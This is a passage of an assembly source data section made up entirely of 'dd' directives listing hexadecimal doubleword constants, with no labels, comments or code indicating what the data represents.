76EE9B2Ch, 0E1ACDD30h, 0C04F88B1h dd 43C2959h, 5960F107h, 110F5CA1h, 8BBCA169h, 10CCC2A0h dd 0D5C4F8h, 2CF53539h, 0E2B805Eh, 8B1C3C91h, 0D1B3D006h dd 61053573h, 92D10FE4h, 0CE07B803h, 62610A63h, 80A00E37h dd 0B11B2C70h, 91C04C81h, 753F8CC1h, 0E080D06Dh, 18DCC210h dd 0CFC1B9C4h, 0A35EA12h, 3356240Eh, 20DF1FB8h, 9C4BF201h dd 0B944D025h, 0FADE3887h, 0C7FDA134h, 0BDD0412Eh, 94B8401Ch dd 0F268AA90h, 93C58880h, 0B8282A81h, 740F1C24h, 0A190C0F9h dd 0C3333929h, 9AEEC005h, 0E031A48Bh, 0D9800F0Bh, 0C6E6D882h dd 6C1712FFh, 3C057055h, 0AC438927h, 0A320F86Dh, 0B1903E25h dd 0C4398052h, 0F8DD1C03h, 8044D9BCh, 62186DB4h, 0E5613832h dd 8D31C17Ah, 30EDE99Fh, 32001EFCh, 3D562BFCh, 0EE2431E7h dd 0BC0900ADh, 442D3980h, 6555D47Dh, 54A5F8C4h, 97D1B500h dd 23698C46h, 809C5007h, 62211E76h, 66CC12A3h, 0E401185Ch dd 0F84C2CC0h, 0C08231DFh, 0F0C49555h, 64D841h, 30621898h dd 85B10A33h, 895484E8h, 0E0329168h, 20596055h, 63993F5Ch dd 211840D4h, 2434156Fh, 0BC2C0808h, 78003112h, 6FD9C6CCh dd 2FF01374h, 97604405h, 0DE1C88F8h, 81E72712h, 60054412h dd 0D80CF96Bh, 95B617Fh, 0A01A5937h, 0B9C62000h, 27E4A44Ah dd 0FE28E000h, 0D086C1E6h, 50AE6008h, 4D1CF4E7h, 19B99507h dd 0E7CF2A35h, 72D0581Bh, 4ED392h, 6BA19A93h, 0F48EBC86h dd 0F019BB8h, 0B0F7CDAEh, 0A9D0E636h, 5308002Ah, 0BC6A15ACh dd 10C36DB3h, 0E07F7398h, 45EDDCh, 19F2D13Dh, 23EC8ED2h dd 6F22BA00h, 0E9ADDEFCh, 129DFCFDh, 1679D0F3h, 96D300CCh dd 31761CC4h, 4D1F2AB8h, 6F543FD2h, 56E51EACh, 2B97E104h dd 240DC482h, 1B60C194h, 8935003Bh, 0D47D4064h, 15946D54h dd 0D37C4F00h, 0E57FCDDFh, 0E7733FCAh, 3EE60B80h, 0FD20CB28h dd 0BDD3A909h, 91898989h, 1D2A72Ch, 24A0B9B3h, 0CA0192D4h dd 0E84CBA1Ch, 20A03533h, 0FD940C9Ah, 0F3102C2Bh, 0D84FF018h dd 0DD6F1050h, 0BF002291h, 34E4AC92h, 0B0845Dh, 54827811h dd 539B303Bh, 6DF9E602h, 0A7ABC4E3h, 34702DF4h, 12D05C42h dd 11D7F0Dh, 6907E6E8h, 7590527Eh, 7820AC48h, 0FBA84700h dd 166EDFF5h, 0D1C20F8Eh, 1EB2E62Ch, 47FCE4C8h, 61CEAB1h dd 71BAE376h, 2759B30Ah, 28A88467h, 0F703461h, 8B00699Dh dd 34F9DCD0h, 591BCB9Ch, 2230886Bh, 9A0083B8h, 3BF5F71Fh dd 1025A0Fh, 74A4F186h, 0C1166436h, 0F0F4DCDDh, 3952C348h dd 0C4C50168h, 7390B13Bh, 0F8F49984h, 0C090974Fh, 0E23C8E57h dd 62D4CD15h, 751400A8h, 87F9F841h, 0A0500D3h, 0CFAF431Ch dd 0B906BA03h, 1F93B1ABh dd 68D43051h, 86482739h, 0C4D7921Ch, 54DE7606h, 0DC0B48B9h dd 0BAEAD680h, 0BF0377B0h, 0CF07C4ABh, 3B4106F0h, 597FE894h dd 0A1586900h, 0EE091B15h, 0BB25002Bh, 0F9A2F8F0h, 5301DDBDh dd 2C987CFDh, 69808DC4h, 0FF66589h, 0D3009A5Fh, 3A0AF7F2h dd 313CC4Bh, 3BAE57FAh, 0A1083C67h, 910F44DDh, 0C1540004h dd 74FF2C9Ah, 0F30E07Dh, 92CE6CBFh, 112B62C1h, 0DD9C20C6h dd 8A80D013h, 0E0282C58h, 6B68989Ah, 0AC19C0C5h, 0CCF2102Ch dd 1941893h, 2FE4215Ch, 751124h, 0A5F88100h, 150EA6Eh dd 4CEDE1D4h, 4038AF20h, 0F089FAD4h, 49488D60h, 0BA650F84h dd 296D2C9Ch, 0C68C2408h, 3C3B9948h, 409CCDFEh, 0C9280770h dd 37104059h, 802E72CDh, 0A8D1184h, 0F07884B1h, 44416344h dd 2081560Dh, 0B0138FAh, 762CB0E4h, 39AC8FDCh, 91CF60C8h dd 0B83A094Ch, 0FABB75h, 6CDA9BB7h, 0B8C377CBh, 0A1FD22F0h dd 49B93F10h, 0E3E3058h, 9BC1F459h, 0F446FCFBh, 0F0982543h dd 808B8E28h, 0A976E530h, 9FE6D3h, 90C52DFEh, 93F67CA1h dd 0D7767809h, 7C34080Bh, 7C6D90BBh, 98D08103h, 0DFE17662h dd 31C5C0E1h, 2D805891h, 22343B8h, 2B9E0405h, 917670B9h dd 34D318E4h, 591B3550h, 811992EAh, 81113A8Bh, 1594101Ah dd 0D5314033h, 189CD03Ch, 0F529299Bh, 85C8A0C4h, 0B3E5807Fh dd 0C69CD9CEh, 1A283F53h, 19F60794h, 1D270485h, 7A9F0064h dd 5CC489CBh, 5D1F70C2h, 78B461A3h, 0AEB4041h, 87800B01h dd 9E9F95E1h, 110586h, 0CB74F339h, 3B21E63Dh, 5550C300h dd 0D3F71987h, 0E0C40136h, 0F307ECAEh, 2A89BD78h, 2900D484h dd 0DC9F9BEDh, 0FAB61F12h, 0C2E200EFh, 0A03BDBD5h, 71124EAFh dd 43CACh, 0F42D414h, 92026835h, 31FCE0B7h, 6F0A191h, 0A5E162E9h dd 3070BC24h, 2D795AD1h, 0AC006F17h, 761A8411h, 0B077FA0Ah dd 4B32034h, 0D44B930Ch, 0E84A316Ch, 0F9180003h, 91E68D27h dd 250033E9h, 36265913h, 4987AA1h, 0A5078429h, 6C48884Ch dd 33CBC40h, 0E876FBB5h, 9043927Ah, 0E3BE009Ch, 0A636536Dh dd 0EE9E1489h, 40DE8CB6h, 4AE99574h, 500AAE7h, 803D25FEh dd 4D4F549Bh, 0F008CC33h, 10333E8Bh, 240B8174h, 8CE8E802h dd 67418D07h, 41276450h, 85308480h, 2C62A8DBh, 0E599C93Fh dd 0E823A891h, 0CA000727h, 90889F34h, 53C029h, 956EFFEDh dd 892B3C25h, 64698C24h, 1C644949h, 0A7BE6088h, 940D3F88h dd 0B710B895h, 3C151933h, 44E1019h, 0F80DF222h, 3850C8E8h dd 7B3C7888h, 9020CA06h, 10589019h, 4B397CDh, 9FA93F99h dd 517A0C80h, 408B00EBh, 2CC0DC2Ah, 0B1055E14h, 3B18C61Dh dd 89378090h, 0E8915D97h, 7168AB31h, 0E8B3001Bh, 3DE415Fh dd 99094DCCh, 44C133Fh, 0E8C7E685h, 0AC0193CEh, 78C0870Dh dd 7522305Eh, 0C67571Ch, 79407C68h, 0F25C80h, 2B84A17Dh dd 5671C70h, 73D0867Ch, 68008174h, 90B055F0h, 0BF44EB7Ch dd 0E1285778h, 0BC8130B9h, 35945084h, 0E8BA01F8h, 7D0F4CA0h dd 8A142CB9h, 0F8E58608h, 16B48591h, 9E4C23D0h, 6B088690h dd 3D0691C1h, 79807989h, 93FD324Dh, 21C97708h, 0A5C665Bh dd 0A13D3B8Ah, 1DACAC18h, 93266040h, 7032B442h, 0C0C32279h dd 90621044h, 0A4864408h, 74848BB8h, 9633C440h, 0A18EC610h dd 2C127184h, 10316061h, 2DCD68h, 97CC7DB5h, 66BF8CE0h dd 49654307h, 0CAEADD2h, 50DEB963h, 2A0C4C57h, 18A003D4h dd 0D1A10B23h, 0EC9CF270h, 25F3A3Ah, 340DC528h, 0D8EBC386h dd 9E160E0Fh, 0FE26BA20h, 11BF1810h, 33123A36h, 0BC0CCE6Dh dd 0CB5D61BDh, 9C90D010h, 4A178AE5h, 0AC08AD7Fh, 9C9A8A57h dd 2585D928h, 3D280F8Ch, 584FB18Dh, 0F7105089h, 3D047A69h dd 0EF46EBFh, 0D0E4B0D4h, 19630286h, 9B7AFE8Eh, 30B409Eh dd 10406289h, 927F94h, 260F36D4h, 24FB9E3h, 0C489189Ch dd 5C98A264h, 0DC3C280Dh, 0B154E498h, 0FD7E86A4h, 30D94B6Ch dd 2ADD8BB0h, 78A42134h, 9F013529h, 0ACEDD592h, 48CEC42Bh dd 0D06CB4h, 0A3663A9h, 550CE633h, 0BC3C48A2h, 76C3EB46h dd 610BC2DDh, 0A24810A7h, 277DCADCh, 0B1398CA0h, 617B8E32h dd 0CC54840Ch, 0BC3023h, 6246983Dh, 71136039h, 4A5D8C93h dd 0BDE8639h, 82EDE3E4h, 62CBBB7Ch, 0AD70A024h, 4CC389C5h dd 6A33C4B3h, 0EC9DE81h, 20B1F2F2h, 0E5BC4825h, 0A0D14328h dd 9C609224h, 0A000F412h, 0AC9D2C34h, 84072510h, 0CDC4C882h dd 47D1A4C8h, 0A03A6E1Ch, 0D9BA60C7h, 38C3AFF0h, 0BFF70083h dd 0CA73608h, 0FD00BDF1h, 96164463h, 0E872AD5h, 686E2C6Bh dd 30914543h, 7EAFC2F0h, 9C16192Ch, 0DF4F800h, 0AD207Dh dd 7FEBBB21h, 0FA6A1577h, 6E6540CEh, 6F007067h, 0D1CD532Fh dd 8001941h, 0E1E3B733h, 7AB7739h, 0F4FF350Ch, 5B667073h dd 0CD0029D8h, 148B2A74h, 3D6D4E6Eh, 0D30B2E62h, 88120B41h dd 0AA5F0435h, 924107F8h, 89D75462h, 0A13D800h, 0E10EEBB1h dd 0E0E63E01h, 72A28C32h, 2C150045h, 50825FFAh, 220C9C29h dd 40914960h, 10D90EC1h, 8B00F9C4h, 7738E4E3h, 800B578h dd 846BEB93h, 1AA4F39h, 267C8C51h, 6E2E9Bh, 40BC5664h dd 0D8E11FE0h, 0D00EEF2h, 3E15BF77h, 67F4B8h, 0BE2C1282h dd 2680831Dh, 60008C7Ah, 5615D34Ah, 7610AED8h, 0B9351CA9h dd 293826F2h, 3BD87594h, 2A70016Dh, 1E7EDFC6h, 0E38AC016h dd 770EEE00h, 0FF0811BEh, 457300E4h, 58B99620h, 3F006BBCh dd 505F14A8h, 5B6591h, 0CB4594BAh, 0F5B107C3h, 4C2E100h dd 0BE050FB3h, 0B02E00E3h, 5AC6263Eh, 40184A90h, 974022A4h dd 0C72C2067h, 3EC3AD01h, 0C2ECE390h, 0DA7D4h, 40CF8934h dd 0FA522041h, 4A8C2300h, 5A13672Fh, 989C487Eh, 8094CD00h dd 903DFAAFh, 0C4ECE116h, 3FEA8C6Ah, 0A0428048h, 0AEC22A30h dd 13B0007Eh, 0C0E8BF04h, 0D21077C4h, 70013A0Ah, 0D8511F78h dd 2B71605Eh, 6E146700h, 5B69A03Ch, 4DD703FBh, 8F10FCCBh dd 2D00AE84h, 0B532D2A2h, 407FE6h, 5AC84311h, 8C2C48EBh dd 7E5D251Dh, 8153620Fh, 0FE07CDDh, 0C9C0C0h, 0D47701BFh dd 0F18E0709h, 64434000h, 9023C896h, 9B2E007Ah, 4F7B9466h dd 0CE765467h, 7C44A00h, 0EEFBFE33h, 0B2780B04h, 0AC043CD2h dd 52D14769h, 0C2404F52h, 48828A4h, 0BFFDDFh, 97583B43h dd 2F354Ch, 425F7F6Dh, 5C990F70h, 0E85334A5h, 1C1C8B53h dd 40702E69h, 2F6D585Dh, 0DF2B7C88h, 0C4861C6Ch, 7C10E04Bh dd 0C33F1896h, 76D421BDh, 2B358A01h, 33676D7Ch, 0BC30707Ch dd 8A7D7E21h, 55305300h, 512BC827h, 195E000Bh, 0CAE6C509h dd 393B898Bh, 99D00133h, 6FCB513Dh, 0AB584900h, 74089300h dd 5B50EFCCh, 393E0470h, 0B8D0352Eh, 7F080ACh, 2C41AD9h dd 36BA97BFh, 1C998E7Ch, 48B20540h, 0B9E88100h, 0D250E523h dd 217BCD06h, 0B9B8C3h, 6B310D6Ah, 0FB738884h, 26D8CA09h dd 0F4D989h, 0C527A8EFh, 0DE03161Eh, 0BCE80E45h, 0E67001D2h dd 7C2025F4h, 444E3BBEh, 6BAE8ADh, 8928E776h, 0A8400C5Eh dd 51975ED0h, 0DFF918B9h, 85E0C046h, 0EB8CB188h, 12F4F19Ch dd 941CB0CFh, 3849660Bh, 30F4680Ch, 479E0128h, 0C0875588h dd 5FAC7C8Dh, 40C7D45Ch, 6660FE9Eh, 0C6A3A57h, 3BE7E8F2h dd 0D01A8551h, 7883E4h, 0F912F6CCh, 0D1091893h, 6229805Eh dd 855C3650h dd 0E95CF830h, 401537E4h, 39006D63h, 9C024E2Bh, 38A253Ah dd 887C3505h, 0FFA8874Dh, 1430E8F8h, 89B37844h, 916A4AACh dd 70F2F74h, 0A3F7FF0h, 9C0702B3h, 7CE74E2Ch, 7A644C48h dd 4501BFE0h, 0FB3373FEh, 94C4DE4Ah, 0DC2F38C8h, 0DDB13600h dd 76C4E653h, 42402155h, 71304064h, 462BF28Ah, 882264h dd 628A7C7Fh, 0B8DEC0A8h, 83DB433Ch, 0F51B35Fh, 0C9B80087h dd 0D081FE9Dh, 0EA0A7811h, 94396250h, 0D8E83340h, 442B80CCh dd 15537D00h, 8C766523h, 293D610Ch, 0C4F2FC2Fh, 0CC003548h dd 0AFAD16CDh, 1FCB4E81h, 0C4AC9945h, 0F97546AEh, 20F404C8h dd 0E1022BF3h, 40D408B9h, 460E3C00h, 0A7CA76h, 0EC0B70B8h dd 5C613DB6h, 0CF652F38h, 22E848D1h, 0B135C450h, 10734160h dd 0AC0280E0h, 55556771h, 24213EA8h, 0D6E0564Bh, 0A3A0043Ch dd 0FC9D5E9Ah, 487A9D14h, 89B184A8h, 920448EDh, 1397BF5h dd 0F8740E96h, 60403AE1h, 68CE85Dh, 37159410h, 934818DDh dd 12C2374h, 887B9E24h, 20DE1935h, 0C69E3C4Dh, 0EE093700h dd 0B5CC38DDh, 17AE01ECh, 0DC89F990h, 49E8A52Fh, 4AD05764h dd 1181E5E7h, 72FD3169h, 0CE0F4F4h, 0E4C3CC4Ah, 33210064h dd 3F8CFD29h, 220262B2h, 110FE6BBh, 4B0746Ah, 40ABC33Ah dd 461C675Ch, 0C4B21D6Eh, 0A3860752h, 9D889335h, 440B92h dd 998F4500h, 863F98C4h, 9BAA00E8h, 7455BBCAh, 0B20C84A9h dd 6CCDDC53h, 0AE2F1AE4h, 90047035h, 9E26602Ah, 45882641h dd 3E4F7004h, 7AEA9E02h, 40DEA6C9h, 92372014h, 0D0B8A024h dd 45F4A930h, 3243D1h, 17B7978h, 48E422CEh, 2BDC4D2Bh dd 2177D80Ch, 0F8CEF41Eh, 9D3F19E4h, 0C1DDA06Eh, 8041D604h dd 0C0C5DD15h, 984B3D92h, 9C1830C7h, 901C098Bh, 690FA4A1h dd 5840947Ah, 0F8F482D4h, 26907487h, 8DB30818h, 21406286h dd 4418A749h, 19F06734h, 706CB7Ah, 57F0A69Fh, 5CB26207h dd 954F88C4h, 6CB9E481h, 8341E808h, 307E9402h, 273FCE46h dd 762246E4h, 0CE4E1D00h, 2A707939h, 0E8CD0084h, 3DA01A90h dd 50C84FD0h, 0CE7CC280h, 22DDB043h, 1B207528h, 0D3CE44h dd 9A905276h, 0C78699B1h, 0D12F840Bh, 4DAC5A74h, 390050F5h dd 5BB3F235h, 0A7028DE1h, 96C9C09Bh, 41BC5E9Ah, 0CDF0F443h dd 8CB84036h, 612C0493h, 0B1031C18h, 0F06DDC33h, 0C87C57E3h dd 41C07FB0h, 46E426CEh, 72742268h, 1ECE3F1Ah, 0EBE41380h dd 4F59E164h, 0A8C1864Bh, 0C8264D5Bh, 7BFD3602h, 61313FF4h dd 0FD2E0A10h, 0F5A98E01h, 0D9762839h, 3400F032h, 3FF0B3CAh dd 0C50348ADh, 0A5CC6ABFh, 0ABC6F964h, 84F17C31h, 0F3104062h dd 0E878582Dh, 37B8C85h, 0F8E59107h, 0E4F3DDF1h, 5E70BA27h dd 0C4080988h, 5C4CFCF8h, 5994108Ch, 28477862h, 0BC57820Fh dd 40B07C3Ch, 4CCAF875h, 0FA7A3E00h, 4AAF5F81h, 0D2280F7Dh dd 0B2D63CB3h, 58C47A54h, 76035B67h, 0A11890F0h, 1651070Bh dd 463F00B0h, 0E08C7C2Eh, 0AE07CE6Bh, 4FFD8DA4h, 0D4B87790h dd 0D0E55B0Fh, 425FA044h, 0A9EB8E00h, 0EE0E66C2h, 0F66000FCh dd 0CCACF2DEh, 7304E067h, 65803952h, 3FC848CBh, 3C7EF2C0h dd 8D9A00D6h, 97942FD7h, 80B76820h, 10F5E40h, 80A19D69h dd 34E567FCh, 8040B114h, 58B94D97h, 624C90BCh, 1D9C04E9h dd 89383Fh, 304F4442h, 713DFD40h, 8022C6F4h, 0FD0038E2h dd 353B5F4Eh, 0B56E4881h, 10A4080Ah, 0E8931633h, 121CB4h dd 5E70228Ch, 28F14D37h, 0F73AC765h, 0B992F480h, 0E0A4C3h dd 9609DF05h, 0A3D2D877h, 4F0FAE00h, 40E8CCC2h, 0F0E30016h dd 0FD35119Ah, 2714DE22h, 0F8C7729h, 18E8760Dh, 0A8060C49h dd 0E6CBCh, 646A9AA0h, 9E53BF24h, 8646E013h, 7E66C30h dd 487163B1h, 0B92FCCE5h, 775441C4h, 70C2AB10h, 1280915Fh dd 0E346895Eh, 87F2B873h, 185730h, 9658C8D3h, 0D6443A4h dd 4511A309h, 2EF08490h, 0F49E2261h, 78B12588h, 9E3A53C0h dd 0D0E54B5Ch, 0C3F30FA0h, 0D268E2C0h, 77640DBBh, 0B3F0053h dd 9B2FCE33h, 0C6263177h, 9A4008F8h, 4EC9C5Bh, 0DBBA867Ch dd 2544E8DCh, 33BCE069h, 6F6100C3h, 6B03DE90h, 4C0910FAh dd 486907E4h, 4C12768Ch, 0D41204CAh, 39F088B4h, 155399C0h dd 0E04AE4DEh, 3449103h, 0BBB5C997h, 0D39C02A7h, 7A4638C4h dd 2BCE4202h, 1C70E4h, 1ACE4A19h, 0AC6AA28Fh, 9830E23Bh dd 0FD2166D4h, 0E5280146h, 5EEDA25Ch, 0D4FEECF2h, 8C84204Eh dd 8EC318C0h, 0BA1B7DE8h, 0C38E914h, 8C88ECh, 0F493807Bh dd 8B3AC096h, 0C04C0448h, 8DBA9F6Dh, 24E300DBh, 3973C7D0h dd 9714A826h, 140B36h, 0EB668CF5h, 76D32010h, 3CEF5C73h dd 7E8CAA2Eh, 2F003646h, 39D79FF8h, 33E6CC97h, 5DE8FB09h dd 7534852Bh, 1F51D4ECh, 0FC3DD180h, 133B6B4h, 0AB5ECB00h dd 0CEF941EAh, 0E1A5006Fh, 0F5026AA9h, 39017BD0h, 0E7FE5C15h dd 78700428h, 3BD84038h, 1839A4A1h, 338A0B78h, 381C4C2Bh dd 8A7F7400h, 5C93D9C1h, 84C50321h, 83D62A8h, 22E4D158h dd 0B80A125Dh, 791C4866h, 28CE47C0h, 2C9821E4h, 4FF4C5B9h dd 3A5F00CEh, 0D81F88A8h, 0B30CCB86h, 693E0B62h, 0E91C0450h dd 80CCAE29h, 9E40676h, 64782501h, 66157096h, 5052C060h dd 0E00BCC38h, 0F8BB61D8h, 38162DEBh, 802C8E18h, 0C1DC6F55h dd 8C76002Ah, 5C63569Ah, 270F7746h, 8B950433h, 8B87ADBh dd 6AB0B1D5h, 52E8F802h, 56E06444h, 7702A83Eh, 142B328Ah dd 79119031h, 303C317Ah, 0E01D240h, 4302C0D4h, 2BED7E90h dd 0E5C8606Bh, 0F9586D12h, 8C78E838h, 0C21B4Fh, 0EC802B50h dd 0FD211E2h, 0C095DD2Eh, 0A28A8D00h, 0A79708Eh, 483037F0h dd 748024A0h, 0B2003646h, 0A4B7658Fh, 9490A838h, 68981930h dd 1566A38Bh, 0D47C1CF4h, 0ACC68080h, 0A54B892Bh, 65D29802h dd 5008ABF9h, 3A9708D4h, 5B00B6C4h, 11558BC1h, 0A85202EFh dd 27B3758Ah, 7A1080DEh, 6BD46D0Ah, 0F0729688h, 95006430h dd 0F1F287A6h, 161C84B0h, 0B3798957h, 53410004h, 0D1C4D016h dd 341C067h, 39EDDC6Ah, 0DA0F2505h, 0EC44352Bh, 0F8C882B1h dd 316463D4h, 4A0A699Fh, 0CEDA2CFBh, 0BC043512h, 9C880B2Dh dd 0FAEFA11h, 0A5B07088h, 2E9C07C0h, 274F9536h, 3EB02411h dd 61748B6Ah, 0E1828177h, 482CE359h, 42A2313h, 763C18h dd 89373522h, 16603CECh, 884854h, 0AC54DD28h, 9ED36E8Eh dd 3CB8E170h, 83218FDh, 5FF477FDh, 0E4062C4h, 3560FD2Ah dd 0D025714h, 859C02BFh, 55B53408h, 71F58422h, 35C42047h dd 0B3047B60h, 7ECC4404h, 0B0A2E676h, 0CD92EE12h, 0B3F2EC1Ch dd 4A078C03h, 0F17F646Bh, 0A440CAE6h, 0B8907C36h, 6946090Ch dd 4C44712Fh, 0D6685403h, 0A09C2799h, 460AF3Bh, 2575BC8Fh dd 2310B7E1h, 0FD340143h, 182FF475h, 2CC88B68h, 780009FDh dd 7E883995h, 5C85F4AEh, 7510708Eh, 0CC6A0E6Eh, 810CC9A6h dd 0D7115324h, 75303C12h, 2B34108Ah, 8073E044h, 940A248Ah dd 4B70B10h, 27005CD1h, 39230B3Ch, 5AD6075Fh, 2169A37Eh dd 20E82CD8h, 0C3886C8Ch, 92BF0EEBh, 7CA04FDBh, 36C70DEFh dd 582E8004h, 1483D397h, 0FE781F2h, 4CAC446Eh, 0C130146Ah dd 0A917711h, 0A089F697h, 5A1DE64Ch, 0F24BBCAAh, 0CFEC6DADh dd 0D789A140h, 0B4B90BC6h, 0B59D1900h, 1C25564h, 0CA311AB7h dd 0ECA3F1FAh, 0AA01A19Fh dd 696229C6h, 742CB4F5h, 0CF3C901h, 6C67E776h, 60B118Ch dd 2EA19400h, 0BEA5257Eh, 9C35E200h, 2183E316h, 4C0B272Bh dd 0E0D90C8Bh, 246BA000h, 76AF5363h, 94CF0193h, 18F26CEEh dd 2746C83h, 99CC3729h, 87BC7834h, 608644F0h, 3A66790Dh dd 7A8AF01h, 0CB734ACh, 0B220C760h, 0F4E097D6h, 2D84BCA0h dd 0E48A8289h, 654674F0h, 0C5F76F00h, 91A1506h, 0F495D729h dd 0AA1E279Dh, 40596180h, 550B20E4h, 4060A4B0h, 8E6E01CBh dd 8CB15C8Bh, 0A859A4FAh, 292CC204h, 6AF228A2h, 76E3E033h dd 0E6530731h, 347D66C3h, 595B00B7h, 0D6206h, 96ECB9EAh dd 50CBC728h, 1E027602h, 539245B4h, 0C0ADF868h, 99002D7Ah dd 2C3D9AC2h, 2D51353Bh, 18E0822Bh, 91C08EC4h, 9D4FB0EEh dd 901FEA83h, 0C63B04CEh, 80827FD8h, 0D4426755h, 7802454Ah dd 55B12784h, 73CFA002h, 90BF38FAh, 9014782Ch, 0ECE82C5Eh dd 8E670223h, 0B078F908h, 7AF04195h, 249D38A5h, 0C8876111h dd 0B54FE13Ch, 84407BD4h, 3DF40FEEh, 3F740279h, 0DE171D94h dd 4B884CFCh, 10209F6Ah, 0AC5B2F2Eh, 9DBF4ECh, 0C48B90FCh dd 0A1960406h, 0FFFD9C09h, 7424903Bh, 15DD8982h, 69C81CCBh dd 2AD0C2C0h, 684B0390h, 5FCD07FEh, 0A2F85143h, 65993074h dd 0D81C3009h, 3404424h, 61F5D12Fh, 4F814C64h, 8F15E531h dd 0AFBD897Ah, 13BA962h, 0D89DACCCh, 92B0C82Bh, 0CE57F702h dd 63B52C8Fh, 76CDA05Ch, 9E601739h, 0C1CC00FFh, 933226BDh dd 2C94A3Bh, 0E8764582h, 2FFC587Bh, 702986B1h, 22F7C802h dd 8B8C1809h, 0F4704AE8h, 75202F2Ch, 0F243064Dh, 302373F8h dd 0C774626h, 1C7D4674h, 8F0C6A6Eh, 8909790Dh, 3441D46Ch dd 20CAE30Dh, 87A21A3h, 0C4A12BB4h, 0D1878D1h, 8B9AE803h dd 0E0433BABh, 0C98740F8h, 605436E0h, 64B23D65h, 0B83078F2h dd 1A64A999h, 5C8B7CC0h, 0D7C0FC2Dh, 62C64222h, 7822364Bh dd 933B10F2h, 0C81A8012h, 86430890h, 68E2EFBAh, 54C5D37Ch dd 3F07A8F4h, 8B8242B1h, 50B9AD34h, 18C6DCE8h, 0A22BBF2Fh dd 0B7CA090h, 2C811032h, 68E4528Ah, 8C69EC40h, 0BEA1C417h dd 1DDBCC02h, 7810573Ch, 0D500D368h, 7121F6FEh, 54AD0E2h dd 2FD28DB3h, 45CFCDDh, 0CBACE813h, 5049EC14h, 27B0C600h dd 0E8414502h, 0CE95CCFDh, 79B2A300h, 8BC4D20Ch, 0F5E13A4h dd 6D744BDDh, 4380ACB7h, 7D5366C4h, 0D57709D1h, 740556E2h dd 1CECFCD9h, 1313F470h, 78885457h, 3AA603FDh, 6CF0787Dh dd 0E8D040B8h, 38DD1C00h, 2CC0F81Ah, 693F1A9Ah, 0E054A061h dd 53209CAAh, 6F450004h, 7BCDE63Ah, 0C72C7F51h, 26016921h dd 0BD99F934h, 10FCF2h, 9390A8B4h, 0E32C470h, 82D2F0BAh dd 17A44ECh, 0E597F8C6h, 0B2FC73AEh, 639F30BCh, 1755203Ah dd 0F8199344h, 39113060h, 1429C4h, 32746634h, 0E448C3h dd 3E1857A8h, 0E9DEFD86h, 0FCCB1D00h, 0C2BC056h, 0FE6166Dh dd 0E5E8820Dh, 6013864h, 3809852Eh, 0BC2035AEh, 44408286h dd 0B5803F2Fh, 6BB0B8D0h, 6C6D79A5h, 0A3B934C0h, 4D376CDh dd 378CDA86h, 4974EC1h, 62048F50h, 0C410B83Dh, 0E410D5C8h dd 9D703511h, 0E3031CEEh, 0E640088Bh, 3D3C1428h, 225EA751h dd 5B1A26ECh, 0DF7D507Ch, 0FB7B7C00h, 0FD2BB4Ah, 808095C9h dd 27DEED5Fh, 0C47EE525h, 0F9E062D0h, 8403F2Eh, 46840BA7h dd 8A7B023Ah, 59742B36h, 7E7D6004h, 0D0C4F98Ah, 2F32695Fh dd 1FCA5620h, 0D0214CB7h, 8713B310h, 44878D0h, 0E0113FE4h dd 201405D4h, 6F94B260h, 1F7D88C8h, 68269890h, 53867587h dd 29239C1Eh, 429E2B01h, 39185D88h, 12234A88h, 8EEAA9Eh dd 35839FB4h, 0A7E5CB9h, 67E8CC60h, 50BD8D8Ch, 88900E38h dd 7CC0C085h, 0F800ABB6h, 152B8C9Bh, 0B064454h, 6089331Bh dd 894A68A7h, 84C0505Eh, 0E4E72355h, 305F003Ch, 0A18BA362h dd 0C2637F0h, 10B88C2Bh, 0E400BBDCh, 127670B3h, 0CC026AC2h dd 2C9483B5h, 0C24CE38Eh, 2A202F67h, 73E42746h, 105C0B4Ch dd 0B11422FFh, 8B1088DDh, 81370424h, 760F3283h, 9480D0D3h dd 0E409AC86h, 0A0626527h, 1C5CF4ACh, 0DC8F0923h, 7D0032F5h dd 0B10607B0h, 63E307B0h, 3075A2C4h, 0E901BEEAh, 0A601E022h dd 6440CF07h, 481B2639h, 4D107070h, 80AFC877h, 0B8ED569Ah dd 0E425B9E1h, 64BC4781h, 0F0736368h, 2CBC319Ch, 13B3814Fh dd 995804B7h, 893017Eh, 212A8790h, 295B257Ch, 0F2E88Ch dd 4B1D2A29h, 0E6318F4h, 0A1807CBBh, 4C912880h, 887A54D4h dd 8D00115h, 593587FDh, 8EDC5324h, 182CB4B2h, 803D429Ah dd 0A91E07F1h, 0CB912A3h, 105CB967h, 2DC829BBh, 39B2C38Ch dd 187D6Dh, 4331D514h, 32204A53h, 0AD19D912h, 7BC64406h dd 359B2548h, 7174BCC4h, 6075C487h, 2D0840Fh, 4E3FA867h dd 0F856F886h, 6A7128A1h, 4BECE518h, 0A6CC1200h, 589B3506h dd 0D78D01E8h, 4665FEA3h, 38B0A699h, 123A2708h, 0F4B44A94h dd 93AA079Ch, 0EAA80425h, 6F430400h, 2B515Ch, 0DCBE8B9Ah dd 18E02CB0h, 0E5809525h, 6068E4C4h, 0A7C8B0h, 0E1154EAFh dd 8E35DA79h, 4A9D0716h, 0E6C67880h, 80D1ECAh, 42A02618h dd 0A00C6461h, 0B33C8848h, 0C8EDCFEBh, 768A5708h, 11BB4000h dd 0EF1FE4A9h, 81CB2D42h, 0CC8860E7h, 0B4DE0BCDh, 74988F48h dd 0DF00E522h, 54437453h, 794D619h, 4D4A4F20h, 0CBF181BDh dd 0A2CC635Ch, 91D23087h, 0A9D7B200h, 9B61B1FEh, 21B890A0h dd 4A91903Ch, 5E9AC91Fh, 80C668Bh, 608B758Dh, 63200264h dd 86572183h, 0F4AC7080h, 60D08B0Bh, 112468C0h, 0E881804Dh dd 0C630EE27h, 3558CBA4h, 5D10FCA0h, 7E2C4473h, 2B6118F2h dd 0A4244889h, 3E3EE0F8h, 0E107D35Dh, 103322C3h, 64A2E8CEh dd 0E8083448h, 8A008C62h, 0EC78DFA4h, 703EB84Bh, 86CC318Bh dd 43C1E6C0h, 0F122D480h, 3F621788h, 23343F75h, 89A0003Bh dd 3622E6ECh, 81E4B37Ah, 12EF1h, 3FFFFD94h, 97217806h dd 31400863h, 27602D64h, 882C469Eh, 4E70D43Dh, 6B9E133Fh dd 2D482D38h, 2F64099Ch, 94079DDh, 3C59D888h, 6B5C9825h dd 8CA0D037h, 102E40A1h, 4F302085h, 296CD0DEh, 7484C795h dd 0C0E0B4B1h, 0FE9F81DAh, 0AA862402h, 4940D237h, 48637010h dd 8B0C8F21h, 439520A7h, 26887474h, 15B918FCh, 0DF74C884h dd 280A5886h, 33C044C8h, 46F478FDh, 672227h, 60FD2B09h dd 2E64376Eh, 4094DAE2h, 3CC86D10h, 0ED9C4382h, 